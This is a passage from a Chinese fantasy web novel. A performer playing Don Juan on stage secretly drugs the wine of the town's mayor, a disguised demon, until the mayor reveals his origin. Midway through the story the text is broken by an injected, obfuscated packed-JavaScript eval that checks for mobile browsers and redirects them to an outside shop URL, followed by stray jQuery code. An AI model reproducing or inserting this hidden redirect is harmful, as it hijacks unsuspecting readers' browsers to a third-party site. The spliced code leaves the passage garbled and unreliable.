《唐·璜》是红丝绒的招牌戏,主角唐·璜是一位西班牙的年轻贵族。
他风流成性,追逐女人的身影穿过半个欧洲,善于用甜言蜜语欺骗感情。
杀人、骗婚、违背诺言……唐·璜活得像一场永不散场的糜烂盛宴,直到他杀死骑士团长,被其降下诅咒,坠入真爱。
故事的结尾,唐·璜为了捍卫爱情,跟情人的未婚夫走上决斗场。
他原本占据了优势,却因担忧情人会伤心而宽恕情敌,不料对方久经沙场,杀伐决断,趁机偷袭,结果了他的性命。
唐·璜罪孽深重,却又迷人得无可救药,仿佛是永不落幕的弗拉明戈,热烈、危险,又带着向死而生的绝望与浪漫。
华灯骤暗,将整座剧院笼罩在一片暧昧的阴影里。
当乐池奏响第一段咏叹调的前奏,台下无数双眼睛在黑暗中亮得惊人。
他们不再喧闹,而是屏住呼吸,焦灼地等待那位多情的浪子华丽亮相!
伴随着沉闷的机械声,红丝绒大幕缓缓拉开,一束暖橘色的灯光如瀑布般倾泻,打在舞台中央。
欧利身披银紫色的天鹅绒外套,领口慵懒敞开,腰佩宝剑,站姿看似松弛,实则精准得没有一丝破绽。
他重心微倾,右手虚搭在剑柄上,像一头优雅又危险的猎豹,美得惊心动魄。
仿佛只要一个眼神,就能让无数痴情者为他粉身碎骨。
深情的歌声从他胸腔深处升起,在剧院的穹顶和雕花墙之间反复折射,最终化作一声缠绵的叹息,回落台上。
那位被他欺骗过的女人在他面前哀怨哭诉,而他却用最虔诚的咏叹调扯谎,说她是他此生唯一的挚爱。
一楼前排的观众傻张着嘴,目光黏在欧利身上,像被钉住了似的。
他们手里紧攥着节目单,连边角被捏皱了都浑然不觉。
有人把椒盐卷饼塞进嘴里却忘了咬,有人抬手擦汗,举到一半就没再放下。
后排的观众伸长脖子往前探,想瞧得更清,一些性子急的干脆站起来看,很快就被更后面的人制止,按了回去。
当第一幕结束,尖锐的口哨声从某个角落响起,扎破了观众席的安静。
怔愣的观众们如梦初醒,随即爆发出近乎癫狂的声浪!
有人打流氓哨,有人拼命怪叫,还有人亢奋得直拍座椅……热烈的欢呼声势骇人,仿佛下一秒就能将整座剧院掀翻!
与之相比,二楼倒显得格外安静。
这里无人粗野嘶吼,只有羽毛扇轻轻摩擦和酒杯碰撞的脆音。
贵族们衣冠楚楚地坐在静谧的包厢里,连坐姿都很挺拔。
他们始终举着黄铜望远镜,嘴上还有余地讨论近来的政事,可藏在镜片后的目光同样贪婪,无耻地舔.舐着欧利的每一寸肌.肤。
莱特虽然戏份靠后,此刻却并未在梳妆室安坐。
为了彰显自己平易近人,他特意走到前台,与一众演员站在上场门的帷幕旁,静静注视舞台上光芒万丈的唐·璜。
他穿了件酒保的棕色外套,系黑领结,单手背在身后,一副绅士做派。
只是随着欧利表演的深入,莱特脸上宽厚的笑容也随之消失,淡灰色的双眼眯起,紧紧盯住那道潇洒的身影。
上场门很乱,一个小演员抱着摞道具跑来,无意间挡住了他的视线。
“滚!!”
莱特怒吼,连台上的伴舞都微微侧目,脸色剧变。
“对、对不起,市长大人,我……”
小演员吓得语无伦次,差点哭出来。
刚才这位市长还赞他眉宇间有灵气,送了块糖给他的吃。
明明那么和善,发起火来却如此吓人!
真是太让他意外了!
“咳,没事,是我站的位置不好……你去忙吧。”
莱特反应过来,重新换上“好好先生”的笑脸。
小演员连连道歉,抱着道具跑开了。
几名群演私下交换眼神,嘀咕这市长情绪还真不稳定。
舞台上,唐璜完成在庭院场景里的最后一个动作,转身下场。
他目光扫过一众迎接他的工作人员,四处张望,却再次无功而返。
剧场太纷杂,欧利仅凭演戏间的空隙,根本找不到奥斯蒙的身影。
他深吸一口气,肩膀微微放松,很快又重新端平。
当音乐响起,他再度昂首挺胸,姿态优美地登了上去。
虽然瞧不见对方在哪儿,但欧利知道,奥斯蒙肯定也在欣赏他的表演。
他拿出最好的状态,展现给那家伙看。
时光飞逝,转眼间就演到了酒吧的戏份。
道具组动作很快,才十几分钟的时间,酒吧的布景就搭建完毕。
几张圆桌散落在舞台中后区,桌面上摆着不少酒瓶和空杯,灯光调得比之前的场景更暗,氛围感十足。
欧利每场的服装都不一样,这次换了件深红色的短上衣,手里端着杯酒,懒散地斜倚着吧台,整个人都呈现出微醺的状态。
他歌声魅惑,细腰随着节拍轻轻晃动,如同徐徐起舞的蛇,看得台下观众燥热不堪,恨不得冲上台,让这妖物发出更美妙的哼吟。
“唐·璜!往这儿看!”
“我的心肝!你比酒还香一百倍!”
“扭啊!跳呦!”
“真他*够劲儿!我受不了了!”
欧利置若罔闻,嘴角挂着唐·璜的微笑,继续唱他的酒歌。
二楼包厢里呼吸变得沉重,不少人仗着位置足够隐秘,躲在阴影里,将手伸向身边的玩伴。
玩伴们暂时成了欧利的替代品,承受着,迎.合着,逐渐动.情。
有的胆子大,直接坐到主人腿上,在音乐的节拍下与之共鸣。
暧昧的歌声告一段落,有卖花小童蹦跳上台。
欧利将酒放下,挥手将小童唤来,痛快地付了大把钞票,将花全部买来。
随后,他拎着花篮,走到舞台边缘,拿起其中一朵,送到唇边虚吻。
观众们意识到即将发生什么,立刻沸腾。
“给我吧!美人儿!送给我!”
“往这儿扔!我保证以后天天都来看你的戏!”
“唐·璜!欧利!发发善心,给我吧!”
“你舍得让我这么虔诚的人伤心吗?小美人儿?”
那些玫瑰并非道具花,而是在老板的授意下当天采买的鲜花。
更加娇艳,花期有限,亦显得更加珍贵。
欧利朝上场门的方向看了一眼,朝莱特笑笑,随后扬手,将花抛向欢呼声最高的地方。
莱特呼吸一滞,心脏砰砰乱跳。
这还是欧利第一次在台上对他有眼神交流,在万众瞩目下,独送给他的关照。
宛如只有两人知晓的小秘密,让莱特看欢喜的同时,还给他带去了极大的满足感。
欧利很把他的话放在心上,抛出的玫瑰一支接一支,很快就将场内的氛围炒得空前火热。
玫瑰在空中还是完好的,可刚一降落,就被数只手争抢,裂得粉碎。
一楼的观众快要抢疯了。
男人们为着那几片脆弱的花瓣大打出手,扯头发、揪衣服还有唾沫攻击,只要能争到零星的芳香,可谓无所不用其极。
二楼的贵族们眼睁睁看着底下乱成一团,嗤笑之余,体.内的火也越烧越旺。
欧利力量有限,那些花抛不到上层,全都便宜了那群粗鲁之辈。
不过,贵族的玩法向来跟平民不一样。
剧院的侍者适时出现,将那份清单重新送来。
肯砸重金的人立刻增加了三倍。
原本还有许多贵族犹豫不绝,如今也都松开钱袋,只盼能借着这份轻薄的清单,跟欧利亲密共处。
这其中甚至有几人过于贪心,想掏更多的钱买断欧利的所有服务。
他们互相审视对方,权衡着各自的底细,琢磨该用什么方法逼对方退步。
威逼?利诱?
还是一不做二不休……
各种阴毒的念头如野草般疯长,而台上依旧歌舞升平,丝毫未受到血雨腥风的影响。
玫瑰花抛洒完毕,连花篮都被欧利即兴扔了出去。
一曲终,管乐部压低音量,演奏出缓慢悠长的新旋律。
欧利坐回吧台,喝空杯子,敲了敲桌面。
莱特自侧台登场,迎着追光,正式亮相。
观众席原本还在吵闹,忽然有人认出莱特的身份,惊呼那便是新上任的市长!<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17725324|208831||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>“怎么回事?市长居然登台了?”
“是红丝绒的惊喜活动吗?事先没听说过啊!”
“哈哈!兄弟们今天算是来着了!票钱没白花啊!”
“这市长还挺放得下身段的,愿意演戏给咱们看!”
“是作秀还是真亲民呀?该不会晃一圈儿就下去了吧?”
“我听说这市长跟欧利的关系可不一般啊,上任市长出事后,他俩一直……”
莱特早就料到那群混蛋嘴里没什么好话,但这不要紧。
他调整好状态,按照排练的那样走到吧台后,跟欧利简单寒暄几句,从后面的酒架上拿下一瓶葡萄酒。
这瓶酒的瓶身做过标记,是欧利特地嘱咐他拿的,瓶口比较好启,里面装的也是掺了番茄汁的水。
他动作熟练地打开瓶塞,边调侃唐·璜最新的风流事迹,边给欧利倒了一杯。
欧利被莱特的话逗得开怀,抢过酒瓶,配合歌词帅气地在手里转弄,随后也为其倒酒。
他动作太过绚烂,无人注意到某些药粉自欧利袖口撒出,投进酒水里,摇晃均匀,彻底融化。
这是欧利亲手制成的呆傻药,成分与先前的一样。
自从被莱特软禁,欧利借口舒缓情绪,向他索要了不少东西。
莱特一心想讨好他,确认过东西无害,也就大方送去。
欧利以伤心为由躲在房间里,悄悄提取出所需要的原材料,苦心调配,便得到了这第二份药。
先前,他跟奥斯蒙曾做过测试,灌入此种药剂后,被魔物寄生的人类便会神志不清,亢奋地说出内心最肮脏龌龊的秘密。
随后还会从体内钻出,攻击性极强。
这是莱特谋利用的舞台,也是欧利计划中的表演场。
莱特身为播种魔,想必实力要比寻常的泥巴怪强上数倍,但本质依旧是魔物,无法承受神域药剂的威力。
最大的区别,不过是药剂发效的时间长短。
欧利端起自己的酒杯,与莱特碰在一起,在音乐的烘托中共同饮下。
莱特双眼紧盯着欧利,仰头,将杯中的液体喝得一干二净。
他心思都放在眼前人身上,稍慢些才发现不对劲儿。
原本说好的是番茄汁兑水,可刚才他喝的,却是真酒。
怎么会这样?
是道具组放错了,还是……
欧利背过观众,朝他调皮一笑。
莱特胸腔发热,以为欧利是在用这种手段跟自己调情,立刻放下了戒心。
按照剧本,他该念一段祝福的台词,对着观众洒光整瓶酒,然后退场。
可欧利却牵起他的手,带着他跟随节奏,在台上即兴共舞!
莱特懵了,这大大出乎他的意料,让他有些局促不安。
可欧利勾魂的笑容就在眼前,引导他旋转、旋转,台下的观众也看得起劲儿,开始鼓掌叫好。
莱特呼出一口酒气,觉得脑袋晕乎乎的。
他应该是醉了。
这种状态很危险,魔物本性凶恶,一旦放松警惕,很容易维持不住伪装。
他该推开欧利,忘记那瓶酒,赶紧下台。
可莱特却做不到。
引以为傲的冷静和克制力统统崩塌,莱特在欧利的带动下,步伐逐渐从生疏变得流畅。
他喜欢这种感觉,更离不开欧利如火般飞扬的衣摆。
“说起来,认识这么久,还不知你是哪里人?”
“你们那儿是否也有美丽的姑娘?”
“别藏着掖着了,告诉我吧。”
“我保证,不让女人的泪水洒落在你的故乡。”
欧利忽然加了段台词,跟莱特酒保聊了起来。
“我……我……”
这语气亲近又平常,好像他们是认识许久的老友,让人生不起心防。
“我……呵呵,我……”
他该告诉他吗?好像不应该,又好像没多大关系。
这世间罕见的美人儿在向他搭话,问的还是再简单不过的问题。
他有什么理由拒绝呢?
难道他想让对他微笑的欧利伤心吗?
“我……来自魔域。”
“嘿嘿,哈哈哈,我的老家,可没什么漂亮姑娘!”